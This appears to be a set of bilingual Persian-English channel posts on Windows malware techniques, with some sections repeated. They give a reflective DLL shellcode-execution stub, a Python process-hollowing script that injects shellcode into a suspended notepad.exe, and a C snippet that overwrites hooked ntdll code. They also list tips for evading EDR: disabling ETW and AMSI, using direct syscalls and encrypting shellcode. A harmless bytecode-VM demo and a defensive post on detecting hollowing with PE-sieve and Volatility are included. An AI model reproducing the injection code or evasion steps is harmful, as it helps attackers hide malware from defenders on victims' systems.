Reflective DLL Injection
«یه DLL از حافظه اجرا کن، بدون اینکه کسی بفهمه!» 🧠💉
📌 قضیه چیه؟
تو این تکنیک، یه DLL معمولی رو طوری مینویسی که خودش بتونه از داخل حافظه خودش رو load کنه.
یعنی نیازی به LoadLibrary()، دیسک، یا حتی توابع ویندوز نیست!
فقط کافیشه بریزش توی رم و یه فانکشنش رو صدا بزنی تمومه.
🚫 چرا این روش خیلی stealth هست؟
نیازی نیست DLL رو روی دیسک ذخیره کنی (فایللس!)
هیچ LoadLibrary() نداره که AV باهاش trigger شه
معمولاً در حافظه با نام عادی دیده نمیشه
خیلی راحت میتونه با direct syscall ترکیب شه
💡 چجوری کار میکنه؟
یک DLL بازنویسیشده داریم که:
1. خودش import table خودش رو resolve میکنه
2. خودش relocations رو fix میکنه
3. خودش entry point رو اجرا میکنه
4. خودش توی حافظه میمونه بدون هیچ trace در دیسک
🔧 ابزارها / منابع معروف:
ابزار توضیح
ReflectiveLoader.c از Stephen Fewer خالق اولیه تکنیک Reflective DLL Injection
Donut Shellcode generator از DLL/EXE – قابل تزریق
sRDI از DLL → shellcode تبدیل میکنه (Safe Reflective DLL Injection)
Cobalt Strike از این تکنیک به صورت native استفاده میکنه
Mythic / Sliver پشتیبانی از reflective injection دارن
🎯 روش اجرای ساده:
// فرض: shellcode تولیدشده از DLL با Donut یا sRDI
unsigned char shellcode[] = { /* shellcode from DLL */ };
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));
((void(*)())mem)(); // اجرای shellcode
🧬 نکته مهم امنیتی:
واسه اینکه این تکنیک بتونه EDR رو بایپس کنه:
✅ از فایل DLL معمولی استفاده نکن → باید بهصورت خاص طراحی شه
✅ از NtAllocateVirtualMemory و NtProtectVirtualMemory به جای API معمول استفاده کن
✅ از syscall مستقیم یا ابزار syswhispers2 یا Kraken استفاده کن
✅ قبل از تزریق، باید ETW, AMSI, Event Hooks و … رو غیر فعال کنی
🔥 چرا فوقالعادهست؟
ویژگی Reflective DLL
فایللس؟ ✅
روی حافظه اجرا؟ ✅
قابل بایپس؟ ✅
راحتی پیادهسازی نسبی (با ابزارها آسونتر میشه)
Reflective DLL Injection
“Run a DLL straight from memory — without anyone noticing!” 🧠💉
📌 What’s the deal?
This technique lets you write a DLL that can load itself from memory, without relying on LoadLibrary(), disk I/O, or even standard Windows APIs.
Just drop it into memory and call one function — done.
🚫 Why is it so stealthy?
No need to drop the DLL on disk (💾 fileless)
No call to LoadLibrary() that could trigger an AV
Doesn’t show up with a standard name in memory
Can be combined easily with direct syscalls
💡 How does it work?
A specially-crafted DLL is written to:
1. Resolve its own import table
2. Fix its own relocations
3. Manually invoke its entry point
4. Stay in memory — no disk trace at all
🔧 Popular Tools & Resources
Tool / Resource Denoscription
ReflectiveLoader.c (by Stephen Fewer) Original implementation of Reflective DLL Injection
Donut Converts DLL/EXE into injectable shellcode
sRDI Safely converts DLLs to reflective shellcode
Cobalt Strike Natively supports this injection technique
Mythic / Sliver Also support reflective injection mechanisms
🎯 Basic Execution Example
// Assuming the DLL is converted to shellcode via Donut or sRDI
unsigned char shellcode[] = { /* your shellcode */ };
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));
((void(*)())mem)(); // Execute the shellcode
🧬 Security Notes:
To bypass modern EDRs, make sure to:
✅ Avoid using a regular DLL — craft it specifically for reflection
✅ Use NtAllocateVirtualMemory and NtProtectVirtualMemory instead of normal APIs
✅ Employ direct syscalls (via SysWhispers2 or Kraken)
✅ Disable ETW, AMSI, and user-mode hooks before injection
🔥 Why It’s Awesome
Feature Reflective DLL
Fileless ✅
In-memory execution ✅
EDR/AV bypass potential ✅
Ease of use ⚠️ Moderate (easier with tools)
«یه DLL از حافظه اجرا کن، بدون اینکه کسی بفهمه!» 🧠💉
📌 قضیه چیه؟
تو این تکنیک، یه DLL معمولی رو طوری مینویسی که خودش بتونه از داخل حافظه خودش رو load کنه.
یعنی نیازی به LoadLibrary()، دیسک، یا حتی توابع ویندوز نیست!
فقط کافیشه بریزش توی رم و یه فانکشنش رو صدا بزنی تمومه.
🚫 چرا این روش خیلی stealth هست؟
نیازی نیست DLL رو روی دیسک ذخیره کنی (فایللس!)
هیچ LoadLibrary() نداره که AV باهاش trigger شه
معمولاً در حافظه با نام عادی دیده نمیشه
خیلی راحت میتونه با direct syscall ترکیب شه
💡 چجوری کار میکنه؟
یک DLL بازنویسیشده داریم که:
1. خودش import table خودش رو resolve میکنه
2. خودش relocations رو fix میکنه
3. خودش entry point رو اجرا میکنه
4. خودش توی حافظه میمونه بدون هیچ trace در دیسک
🔧 ابزارها / منابع معروف:
ابزار توضیح
ReflectiveLoader.c از Stephen Fewer خالق اولیه تکنیک Reflective DLL Injection
Donut Shellcode generator از DLL/EXE – قابل تزریق
sRDI از DLL → shellcode تبدیل میکنه (Safe Reflective DLL Injection)
Cobalt Strike از این تکنیک به صورت native استفاده میکنه
Mythic / Sliver پشتیبانی از reflective injection دارن
🎯 روش اجرای ساده:
// فرض: shellcode تولیدشده از DLL با Donut یا sRDI
unsigned char shellcode[] = { /* shellcode from DLL */ };
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));
((void(*)())mem)(); // اجرای shellcode
🧬 نکته مهم امنیتی:
واسه اینکه این تکنیک بتونه EDR رو بایپس کنه:
✅ از فایل DLL معمولی استفاده نکن → باید بهصورت خاص طراحی شه
✅ از NtAllocateVirtualMemory و NtProtectVirtualMemory به جای API معمول استفاده کن
✅ از syscall مستقیم یا ابزار syswhispers2 یا Kraken استفاده کن
✅ قبل از تزریق، باید ETW, AMSI, Event Hooks و … رو غیر فعال کنی
🔥 چرا فوقالعادهست؟
ویژگی Reflective DLL
فایللس؟ ✅
روی حافظه اجرا؟ ✅
قابل بایپس؟ ✅
راحتی پیادهسازی نسبی (با ابزارها آسونتر میشه)
Reflective DLL Injection
“Run a DLL straight from memory — without anyone noticing!” 🧠💉
📌 What’s the deal?
This technique lets you write a DLL that can load itself from memory, without relying on LoadLibrary(), disk I/O, or even standard Windows APIs.
Just drop it into memory and call one function — done.
🚫 Why is it so stealthy?
No need to drop the DLL on disk (💾 fileless)
No call to LoadLibrary() that could trigger an AV
Doesn’t show up with a standard name in memory
Can be combined easily with direct syscalls
💡 How does it work?
A specially-crafted DLL is written to:
1. Resolve its own import table
2. Fix its own relocations
3. Manually invoke its entry point
4. Stay in memory — no disk trace at all
🔧 Popular Tools & Resources
Tool / Resource Denoscription
ReflectiveLoader.c (by Stephen Fewer) Original implementation of Reflective DLL Injection
Donut Converts DLL/EXE into injectable shellcode
sRDI Safely converts DLLs to reflective shellcode
Cobalt Strike Natively supports this injection technique
Mythic / Sliver Also support reflective injection mechanisms
🎯 Basic Execution Example
// Assuming the DLL is converted to shellcode via Donut or sRDI
unsigned char shellcode[] = { /* your shellcode */ };
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));
((void(*)())mem)(); // Execute the shellcode
🧬 Security Notes:
To bypass modern EDRs, make sure to:
✅ Avoid using a regular DLL — craft it specifically for reflection
✅ Use NtAllocateVirtualMemory and NtProtectVirtualMemory instead of normal APIs
✅ Employ direct syscalls (via SysWhispers2 or Kraken)
✅ Disable ETW, AMSI, and user-mode hooks before injection
🔥 Why It’s Awesome
Feature Reflective DLL
Fileless ✅
In-memory execution ✅
EDR/AV bypass potential ✅
Ease of use ⚠️ Moderate (easier with tools)
❤3
🧠 مقدمه:
تو دنیای واقعی خیلی از مهاجمها دنبال اینن که بدون نوشتن یه خط ++C همون کارها رو با پایتون انجام بدن
تو این پست، همون Process Hollowing معروف رو با پایتون و pywin32 پیاده میکنیم خیلی شیک و خفن 🤓
⚙️ ابزار لازم:
🧨 کد ساده:
⚠️ هشدار امنیتی:
این کد فقط جنبه آموزشی داره اجرای این دست کدها روی سیستمهای واقعی یا بدون مجوز، یه جور جرم حساب میشه و عواقبش با خودتونه
نکته برای رد کردن آنتیویروس:
شلکدت رو رمزنگاری کن تو حافظه decrypt کن.
توابع مثل VirtualAllocEx رو با NtAllocateVirtualMemory جایگزین کن.
از QueueUserAPC یا NtCreateThreadEx بهجای ResumeThread استفاده کنید
🧠 Introduction:
In the real world, many attackers look for ways to avoid writing a single line of C++ and still get their dirty work done — with Python.
In this post, we’re going to implement the infamous Process Hollowing technique using pywin32 and a bit of ctypes, nice and smooth. 🤓
⚙️ Requirements:
🧨 Minimal demo code:
⚠️ Security Warning:
> This code is shared for educational purposes only.
Running such code on real systems or without proper authorization may be considered a criminal offense. You're fully responsible for what you do with it.
🎯 Evasion Tips:
✅ Encrypt your shellcode and decrypt it in memory
✅ Replace VirtualAllocEx with NtAllocateVirtualMemory
✅ Use QueueUserAPC or NtCreateThreadEx instead of ResumeThread
تو دنیای واقعی خیلی از مهاجمها دنبال اینن که بدون نوشتن یه خط ++C همون کارها رو با پایتون انجام بدن
تو این پست، همون Process Hollowing معروف رو با پایتون و pywin32 پیاده میکنیم خیلی شیک و خفن 🤓
⚙️ ابزار لازم:
pip install pywin32
🧨 کد ساده:
import win32process
import win32con
import win32api
import win32event
import win32security
import win32file
import ctypes
# شلکد مثال (مثلاً MessageBox – این فقط یه دموئه)
shellcode = b"\x90\x90..." # shellcode واقعی اینجا
# اجرای پروسس هدف بهصورت معلق
startup_info = win32process.STARTUPINFO()
proc_info = win32process.CreateProcess(
None,
"C:\\Windows\\System32\\notepad.exe",
None, None, 0,
win32con.CREATE_SUSPENDED,
None, None,
startup_info
)
h_process, h_thread = proc_info[0], proc_info[1]
# رزرو حافظه
addr = ctypes.windll.kernel32.VirtualAllocEx(
h_process.handle, 0, len(shellcode),
win32con.MEM_COMMIT | win32con.MEM_RESERVE,
win32con.PAGE_EXECUTE_READWRITE
)
# نوشتن شلکد در حافظه هدف
ctypes.windll.kernel32.WriteProcessMemory(
h_process.handle, addr, shellcode, len(shellcode), None
)
# تغییر نقطه شروع نخ (SetThreadContext نیاز به ساختار CONTEXT داره، اینجا سادهش کردیم)
# در حالت پیشرفته، از GetThreadContext و SetThreadContext با ctypes استفاده میشه.
# ادامه اجرا
win32process.ResumeThread(h_thread)
⚠️ هشدار امنیتی:
این کد فقط جنبه آموزشی داره اجرای این دست کدها روی سیستمهای واقعی یا بدون مجوز، یه جور جرم حساب میشه و عواقبش با خودتونه
نکته برای رد کردن آنتیویروس:
شلکدت رو رمزنگاری کن تو حافظه decrypt کن.
توابع مثل VirtualAllocEx رو با NtAllocateVirtualMemory جایگزین کن.
از QueueUserAPC یا NtCreateThreadEx بهجای ResumeThread استفاده کنید
🧠 Introduction:
In the real world, many attackers look for ways to avoid writing a single line of C++ and still get their dirty work done — with Python.
In this post, we’re going to implement the infamous Process Hollowing technique using pywin32 and a bit of ctypes, nice and smooth. 🤓
⚙️ Requirements:
pip install pywin32
🧨 Minimal demo code:
import win32process
import win32con
import win32api
import win32event
import win32security
import win32file
import ctypes
# Example shellcode (e.g., MessageBox – just for demo purposes)
shellcode = b"\x90\x90..." # Replace with actual shellcode
# Start the target process in suspended mode
startup_info = win32process.STARTUPINFO()
proc_info = win32process.CreateProcess(
None,
"C:\\Windows\\System32\\notepad.exe",
None, None, 0,
win32con.CREATE_SUSPENDED,
None, None,
startup_info
)
h_process, h_thread = proc_info[0], proc_info[1]
# Allocate memory in the target process
addr = ctypes.windll.kernel32.VirtualAllocEx(
h_process.handle, 0, len(shellcode),
win32con.MEM_COMMIT | win32con.MEM_RESERVE,
win32con.PAGE_EXECUTE_READWRITE
)
# Write shellcode to the allocated memory
ctypes.windll.kernel32.WriteProcessMemory(
h_process.handle, addr, shellcode, len(shellcode), None
)
# Resume the thread (in simple form; advanced use includes SetThreadContext)
win32process.ResumeThread(h_thread)
⚠️ Security Warning:
> This code is shared for educational purposes only.
Running such code on real systems or without proper authorization may be considered a criminal offense. You're fully responsible for what you do with it.
🎯 Evasion Tips:
✅ Encrypt your shellcode and decrypt it in memory
✅ Replace VirtualAllocEx with NtAllocateVirtualMemory
✅ Use QueueUserAPC or NtCreateThreadEx instead of ResumeThread
❤4
خیلی از کانالا رو دیدم اسکی میرن اسکی میری نوش جونت ولی حداقل منبع هم بزن😂
I’ve seen a lot of channels copy stuff — go ahead and copy, no problem, but at least mention the source😂
I’ve seen a lot of channels copy stuff — go ahead and copy, no problem, but at least mention the source😂
👍11
🧠 شبیهسازی سادهی VMProtect با یک ماشین مجازی دستساز در C
🎯 هدف:
درک پایهای از اینکه VM-Based Obfuscation مثل VMProtect چطور کار میکنه ما یک زبان خیلی ساده اختراع میکنیم، یه ماشین مجازی خیلی سبک مینویسیم و کدمون رو به دستوراتی از این ماشین ترجمه میکنیم
🧠 مفهوم کلی VM-Based Obfuscation
VMProtect، Themida و شبیههای اونها بخشهایی از کد رو از زبان اسمبلی واقعی تبدیل میکنن به یکسری دستور مخصوص که فقط ماشین مجازی خودشون میفهمه.
🔒 این کار باعث میشه تحلیلگر نتونه مستقیم توابع اصلی رو ببینه
🛠️ قدم اول: تعریف یک زبان بسیار ساده
فرض کنیم زبان ما ۳ دستور داره:
کد دستور عملکرد
01 PUSH_VAL
مقدار رو روی استک بذار
02 ADD
دو مقدار از استک بردار و جمع بزن
03 PRINT
مقدار بالا رو پرینت کن
📦 قدم دوم: تعریف کد Bytecode برنامه
ما میخوایم 10 + 20 رو محاسبه و چاپ کنیم.
کد Bytecode اون بهصورت باینری:
🧰 قدم سوم: پیادهسازی ماشین مجازی در C
🧨 خروجی:
Result: 30
🤯 نکته مهم:
کدی که در این VM اجرا میشه از دید دیکامپایلرها مثل Ghidra یک بلاک غیر قابل درک به نظر میرسه چون توابع اصلی برنامه داخل VM مخفی شدن
🧠 Simple VMProtect Simulation with a Custom Virtual Machine in C
🎯 Goal:
Understand the basics of how VM-Based Obfuscation (like VMProtect) works.
We’ll invent a super simple language, write a minimal virtual machine, and translate our code into that VM's instructions.
🧠 General Concept of VM-Based Obfuscation
Tools like VMProtect, Themida, and similar ones convert parts of the code from real assembly into custom instructions that only their own virtual machine understands.
🔒 This makes it much harder for reverse engineers to directly analyze key functions.
🛠️ Step 1: Define a Very Simple Language
Let’s say our language supports just 3 instructions:
Code Instruction Action
01 PUSH_VAL Push a value onto the stack
02 ADD Pop two values, add them, push result
03 PRINT Print the value on top of the stack
📦 Step 2: Define the Bytecode of Our Program
We want to compute and print 10 + 20.
The binary bytecode would be:
🧰 Step 3: Implementing the Virtual Machine in C
🎯 هدف:
درک پایهای از اینکه VM-Based Obfuscation مثل VMProtect چطور کار میکنه ما یک زبان خیلی ساده اختراع میکنیم، یه ماشین مجازی خیلی سبک مینویسیم و کدمون رو به دستوراتی از این ماشین ترجمه میکنیم
🧠 مفهوم کلی VM-Based Obfuscation
VMProtect، Themida و شبیههای اونها بخشهایی از کد رو از زبان اسمبلی واقعی تبدیل میکنن به یکسری دستور مخصوص که فقط ماشین مجازی خودشون میفهمه.
🔒 این کار باعث میشه تحلیلگر نتونه مستقیم توابع اصلی رو ببینه
🛠️ قدم اول: تعریف یک زبان بسیار ساده
فرض کنیم زبان ما ۳ دستور داره:
کد دستور عملکرد
01 PUSH_VAL
مقدار رو روی استک بذار
02 ADD
دو مقدار از استک بردار و جمع بزن
03 PRINT
مقدار بالا رو پرینت کن
📦 قدم دوم: تعریف کد Bytecode برنامه
ما میخوایم 10 + 20 رو محاسبه و چاپ کنیم.
کد Bytecode اون بهصورت باینری:
01 0A ; PUSH_VAL 10
01 14 ; PUSH_VAL 20
02 ; ADD
03 ; PRINT
🧰 قدم سوم: پیادهسازی ماشین مجازی در C
#include <stdio.h>
#include <stdlib.h>
#define PUSH_VAL 0x01
#define ADD 0x02
#define PRINT 0x03
unsigned char bytecode[] = {
0x01, 0x0A, // PUSH 10
0x01, 0x14, // PUSH 20
0x02, // ADD
0x03 // PRINT
};
int stack[100];
int sp = -1;
void push(int val) {
stack[++sp] = val;
}
int pop() {
return stack[sp--];
}
void run_vm() {
int pc = 0;
while (pc < sizeof(bytecode)) {
unsigned char op = bytecode[pc++];
switch (op) {
case PUSH_VAL:
push(bytecode[pc++]);
break;
case ADD: {
int b = pop();
int a = pop();
push(a + b);
break;
}
case PRINT:
printf("Result: %d\n", pop());
break;
default:
printf("Invalid opcode: %02x\n", op);
return;
}
}
}
int main() {
run_vm();
return 0;
}
🧨 خروجی:
Result: 30
🤯 نکته مهم:
کدی که در این VM اجرا میشه از دید دیکامپایلرها مثل Ghidra یک بلاک غیر قابل درک به نظر میرسه چون توابع اصلی برنامه داخل VM مخفی شدن
🧠 Simple VMProtect Simulation with a Custom Virtual Machine in C
🎯 Goal:
Understand the basics of how VM-Based Obfuscation (like VMProtect) works.
We’ll invent a super simple language, write a minimal virtual machine, and translate our code into that VM's instructions.
🧠 General Concept of VM-Based Obfuscation
Tools like VMProtect, Themida, and similar ones convert parts of the code from real assembly into custom instructions that only their own virtual machine understands.
🔒 This makes it much harder for reverse engineers to directly analyze key functions.
🛠️ Step 1: Define a Very Simple Language
Let’s say our language supports just 3 instructions:
Code Instruction Action
01 PUSH_VAL Push a value onto the stack
02 ADD Pop two values, add them, push result
03 PRINT Print the value on top of the stack
📦 Step 2: Define the Bytecode of Our Program
We want to compute and print 10 + 20.
The binary bytecode would be:
01 0A ; PUSH_VAL 10
01 14 ; PUSH_VAL 20
02 ; ADD
03 ; PRINT
🧰 Step 3: Implementing the Virtual Machine in C
#include <stdio.h>
#include <stdlib.h>
#define PUSH_VAL 0x01
#define ADD 0x02
#define PRINT 0x03
unsigned char bytecode[] = {
0x01, 0x0A, // PUSH 10
0x01, 0x14, // PUSH 20
0x02, // ADD
0x03 // PRINT
};
int stack[100];
int sp = -1;
void push(int val) {
stack[++sp] = val;
}
int pop() {
return stack[sp--];
}
void run_vm() {
int pc = 0;
while (pc < sizeof(bytecode)) {
unsigned char op = bytecode[pc++];
switch (op) {
case PUSH_VAL:
push(bytecode[pc++]);
break;
🔥2
case ADD: {
int b = pop();
int a = pop();
push(a + b);
break;
}
case PRINT:
printf("Result: %d\n", pop());
break;
default:
printf("Invalid opcode: %02x\n", op);
return;
}
}
}
int main() {
run_vm();
return 0;
}
🧨 Output:
Result: 30
🤯 Important Note:
Code executed inside this VM appears as undecipherable or meaningless blocks to decompilers like Ghidra — because the real logic of the program is hidden inside the virtual machine
🔥4
🩸 تا الان یه بدافزار ساختیم که خودشو جا زده جای یه پروسس بیگناه،
ولی حالا فرض کن سمت تویی که میخوای بفهمی این پروسس مشکوکه… از کجا باید شروع کنی؟
تو این پست یاد میگیری چطوری یه فایل یا پروسس Hollow شده رو شکار کنی 🎯
🔍 شکار زنده: Process Hacker + PE-sieve
باز کن Process Hacker
دنبال پروسسهایی بگردید که مثلا notepad.exe هستن اما:
Signature ندارن ❌
PID جدید دارن ولی بدون فعالیت طبیعی 🧟
مصرف رم یا CPU بالاست بیدلیل
3 با PE-sieve پروسس رو اسکن کن:
pe-sieve64.exe /pid <PID> /dump_mode 3
📌 اگه PE-sieve بگه:
"Replaced section found" یا "Unmapped PE header"
یعنی اون پروسس واقعاً Hollow شده!
🧠 رفتن تو دلش با x64dbg یا x32dbg:
از PE-sieve فولدر dump رو بگیر و داخل x64dbg بازش کن
به EntryPoint برو (CTRL + G → EP)
اگه اولین دستورها مشکوکن یا با نوتپد جور نیست یه چیز این وسط اشتباهه 😏
🧠 تشخیص حافظهی مشکوک با Volatility (مخصوص حافظهبرداری):
volatility -f memory.raw --profile=Win10x64_19041 pslist
volatility -f memory.raw --profile=Win10x64_19041 malfind
اگه malfind یه page با permission RWX نشون داد یا داخلش شلکد بود، یعنی داریم با یه زامبی سر و کار داریم 🧟♂️
🎯 جمعبندی:
✅ Process Hollowing فقط ساختنش نیست
⚔️ تشخیصش یعنی اینکه از قربانی شدن فرار کنی یا بتونی گزارش دقیق بدی
🩸 So far, we’ve built a piece of malware that hides inside an innocent-looking process...
But now imagine you’re on the defense side — trying to figure out if a process is suspicious.
Where should you start?
👉 In this post, you'll learn how to detect and hunt down a hollowed file or process like a pro. 🎯🔍
🔍 Live Hunt: Process Hacker + PE-sieve
1. Open Process Hacker
Look for processes like notepad.exe that:
Have no digital signature ❌
Have a new/odd PID with no usual activity 🧟
Are using high memory or CPU for no clear reason
2. Scan the process using PE-sieve
pe-sieve64.exe /pid <PID> /dump_mode 3
📌 If PE-sieve says:
"Replaced section found"
"Unmapped PE header"
Then that process is definitely hollowed! 💀
🧠 Digging Deeper with x64dbg/x32dbg
Grab the dumped folder from PE-sieve
Open it in x64dbg
Go to Entry Point (CTRL + G → type EP)
If the first instructions look weird or don’t match notepad.exe,
then something fishy is going on 😏
🧠 Memory Forensics with Volatility (for RAM dumps)
volatility -f memory.raw --profile=Win10x64_19041 pslist
volatility -f memory.raw --profile=Win10x64_19041 malfind
If malfind shows a memory page with RWX permissions
or you find shellcode inside,
then you’re definitely facing a zombie process 🧟♂️
🎯 Conclusion:
✅ Creating Process Hollowing is one side of the game
⚔️ Detecting it means you’re no longer the victim — you're the hunter, or at least able to write a solid report
ولی حالا فرض کن سمت تویی که میخوای بفهمی این پروسس مشکوکه… از کجا باید شروع کنی؟
تو این پست یاد میگیری چطوری یه فایل یا پروسس Hollow شده رو شکار کنی 🎯
🔍 شکار زنده: Process Hacker + PE-sieve
باز کن Process Hacker
دنبال پروسسهایی بگردید که مثلا notepad.exe هستن اما:
Signature ندارن ❌
PID جدید دارن ولی بدون فعالیت طبیعی 🧟
مصرف رم یا CPU بالاست بیدلیل
3 با PE-sieve پروسس رو اسکن کن:
pe-sieve64.exe /pid <PID> /dump_mode 3
📌 اگه PE-sieve بگه:
"Replaced section found" یا "Unmapped PE header"
یعنی اون پروسس واقعاً Hollow شده!
🧠 رفتن تو دلش با x64dbg یا x32dbg:
از PE-sieve فولدر dump رو بگیر و داخل x64dbg بازش کن
به EntryPoint برو (CTRL + G → EP)
اگه اولین دستورها مشکوکن یا با نوتپد جور نیست یه چیز این وسط اشتباهه 😏
🧠 تشخیص حافظهی مشکوک با Volatility (مخصوص حافظهبرداری):
volatility -f memory.raw --profile=Win10x64_19041 pslist
volatility -f memory.raw --profile=Win10x64_19041 malfind
اگه malfind یه page با permission RWX نشون داد یا داخلش شلکد بود، یعنی داریم با یه زامبی سر و کار داریم 🧟♂️
🎯 جمعبندی:
✅ Process Hollowing فقط ساختنش نیست
⚔️ تشخیصش یعنی اینکه از قربانی شدن فرار کنی یا بتونی گزارش دقیق بدی
🩸 So far, we’ve built a piece of malware that hides inside an innocent-looking process...
But now imagine you’re on the defense side — trying to figure out if a process is suspicious.
Where should you start?
👉 In this post, you'll learn how to detect and hunt down a hollowed file or process like a pro. 🎯🔍
🔍 Live Hunt: Process Hacker + PE-sieve
1. Open Process Hacker
Look for processes like notepad.exe that:
Have no digital signature ❌
Have a new/odd PID with no usual activity 🧟
Are using high memory or CPU for no clear reason
2. Scan the process using PE-sieve
pe-sieve64.exe /pid <PID> /dump_mode 3
📌 If PE-sieve says:
"Replaced section found"
"Unmapped PE header"
Then that process is definitely hollowed! 💀
🧠 Digging Deeper with x64dbg/x32dbg
Grab the dumped folder from PE-sieve
Open it in x64dbg
Go to Entry Point (CTRL + G → type EP)
If the first instructions look weird or don’t match notepad.exe,
then something fishy is going on 😏
🧠 Memory Forensics with Volatility (for RAM dumps)
volatility -f memory.raw --profile=Win10x64_19041 pslist
volatility -f memory.raw --profile=Win10x64_19041 malfind
If malfind shows a memory page with RWX permissions
or you find shellcode inside,
then you’re definitely facing a zombie process 🧟♂️
🎯 Conclusion:
✅ Creating Process Hollowing is one side of the game
⚔️ Detecting it means you’re no longer the victim — you're the hunter, or at least able to write a solid report
🔥1
کامل ntdll.dll
«وقتی میخوای بدون صدای آلارم، بکشی!» 🧬🔕
🎯 هدف اصلی:
تقریباً تمام AV/EDRها (مخصوصاً EDR) میان تابعهای حساس ntdll.dll رو hook میکنن:
NtCreateThreadEx, NtWriteVirtualMemory, NtProtectVirtualMemory, ...
این hookها باعث میشن توابع سیستمی (حتی وقتی مستقیم با syscall صدا زده میشن) log بشن یا detect شه
👉 راهحل؟ یه نسخهی تمیز و بدون hook از ntdll.dll لود کنیم از حافظه خودمون. به این میگن manual unhooking
🧠 مفهوم فنی:
1. EDR معمولاً inline hook میذاره → اولین بایتهای تابع سیستم رو تغییر میده
2 ما میریم یه نسخه تمیز از ntdll.dll از روی دیسک یا حافظه بارگذاری میکنیم
3 بایتهای اصلی توابع رو از اون کپی میکنیم روی نسخه فعلی → تمام hookها پاک میشن
4 حالا syscall واقعی اجرا میشه بدون نظارت EDR
🔥 روشهای انجام:
✅ روش ۱: Load clean ntdll.dll from disk
با CreateFile, ReadFile یا NtOpenFile, NtReadFile
پارس کردن PE structure دستی
پیدا کردن .text section → مقایسه بایتها
جایگزینی بایتها در نسخه فعلی داخل process خودت
✅ روش ۲: استفاده از GetMappedFileName + ZwQueryVirtualMemory برای بازیابی ntdll اصلی از حافظه سیستم
✅روش ۳: از ابزار آماده استفاده کن
ابزار توضیح
Halo's Gate بایپس Hook از طریق تخمین offset سیستمکال
unhook-nativedll Unhooking دقیق و کامل با PE parsing
TitanLdr لودر PE پیشرفته همراه با ntdll unhook
💻 کد خلاصه (C):
> (برای مثال: مقایسه و پاکسازی .text section از ntdll)
🚨 هشدار:
بعضی AVها ممکنه مانیتور کنن که تو ntdll.dll تغییر ایجاد شده یا نه
→ راهحل: استفاده از RWX memory جدا و اجرای syscall از اونجا
اگر با Direct Syscall ترکیب شه، تقریبا غیرقابل تشخیصه
برای اجرای کامل بدون detect، حتما amsi.dll و etw رو هم patch کن (پست جدا داره)
💣 چرا این تکنیک مهمه؟
ویژگی دلیل اهمیت
بایپس کامل چون AV/EDR رو کور میکنی قبل از اینکه بفهمه چی شده 😁
ضروری برای بایپس Defender بدون این، حتی Reflective injection هم detect میشه
پایه حملههای RedTeam تقریباً تمام payloadهای stealth واقعی از این استفاده میکنن
🧬 ntdll.dll – "When You Wanna Kill Silently!" 🔕
🎯 Main Goal:
Almost all AVs/EDRs — especially EDRs — hook sensitive functions in ntdll.dll like:
NtCreateThreadEx
NtWriteVirtualMemory
NtProtectVirtualMemory
…and many more
These inline hooks cause system calls (even direct syscalls!) to get logged or detected.
👉 The Solution?
Load a clean, unhooked copy of ntdll.dll into your own memory space.
This technique is called manual unhooking.
🧠 Technical Concept:
1 EDRs usually inline hook functions → by modifying the first bytes of system calls
2 We load a clean copy of ntdll.dll from disk or from memory
3 We overwrite the hooked function bytes in memory with the clean ones
4 Now we can make real syscalls without any monitoring 👻
🔥 Implementation Methods:
✅ Method 1: Load Clean ntdll.dll from Disk
Use CreateFile, ReadFile — or even NtOpenFile, NtReadFile
Parse the PE structure manually
Locate the .text section and compare bytes
Restore the original bytes into the current ntdll.dll in your process
✅ Method 2: Use GetMappedFileName + ZwQueryVirtualMemory
Recover the clean, already-mapped system copy of ntdll.dll
→ Useful when avoiding disk I/O
✅ Method 3: Use Existing Tools
Tool Denoscription
Halo’s Gate Bypasses hooks via syscall offset guessing
unhook-nativedll Full unhooking with precise PE parsing
TitanLdr Advanced PE loader with built-in ntdll unhooking
💻 Code Snippet (C)
(Example: Compare & Clean .text section in ntdll.dll)
«وقتی میخوای بدون صدای آلارم، بکشی!» 🧬🔕
🎯 هدف اصلی:
تقریباً تمام AV/EDRها (مخصوصاً EDR) میان تابعهای حساس ntdll.dll رو hook میکنن:
NtCreateThreadEx, NtWriteVirtualMemory, NtProtectVirtualMemory, ...
این hookها باعث میشن توابع سیستمی (حتی وقتی مستقیم با syscall صدا زده میشن) log بشن یا detect شه
👉 راهحل؟ یه نسخهی تمیز و بدون hook از ntdll.dll لود کنیم از حافظه خودمون. به این میگن manual unhooking
🧠 مفهوم فنی:
1. EDR معمولاً inline hook میذاره → اولین بایتهای تابع سیستم رو تغییر میده
2 ما میریم یه نسخه تمیز از ntdll.dll از روی دیسک یا حافظه بارگذاری میکنیم
3 بایتهای اصلی توابع رو از اون کپی میکنیم روی نسخه فعلی → تمام hookها پاک میشن
4 حالا syscall واقعی اجرا میشه بدون نظارت EDR
🔥 روشهای انجام:
✅ روش ۱: Load clean ntdll.dll from disk
با CreateFile, ReadFile یا NtOpenFile, NtReadFile
پارس کردن PE structure دستی
پیدا کردن .text section → مقایسه بایتها
جایگزینی بایتها در نسخه فعلی داخل process خودت
✅ روش ۲: استفاده از GetMappedFileName + ZwQueryVirtualMemory برای بازیابی ntdll اصلی از حافظه سیستم
✅روش ۳: از ابزار آماده استفاده کن
ابزار توضیح
Halo's Gate بایپس Hook از طریق تخمین offset سیستمکال
unhook-nativedll Unhooking دقیق و کامل با PE parsing
TitanLdr لودر PE پیشرفته همراه با ntdll unhook
💻 کد خلاصه (C):
> (برای مثال: مقایسه و پاکسازی .text section از ntdll)
PVOID currentNtdll = GetModuleHandleA("ntdll.dll");
// کپی ntdll از دیسک:
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", ...);
HANDLE hMapping = CreateFileMapping(hFile, ..., PAGE_READONLY, ...);
LPVOID cleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, ...);
// حالا مقایسه .text دو نسخه:
PIMAGE_SECTION_HEADER textSection = FindTextSection(currentNtdll);
for (...) {
if (memcmp(currentPtr, cleanPtr, size) != 0)
memcpy(currentPtr, cleanPtr, size); // Restore بایتها
}
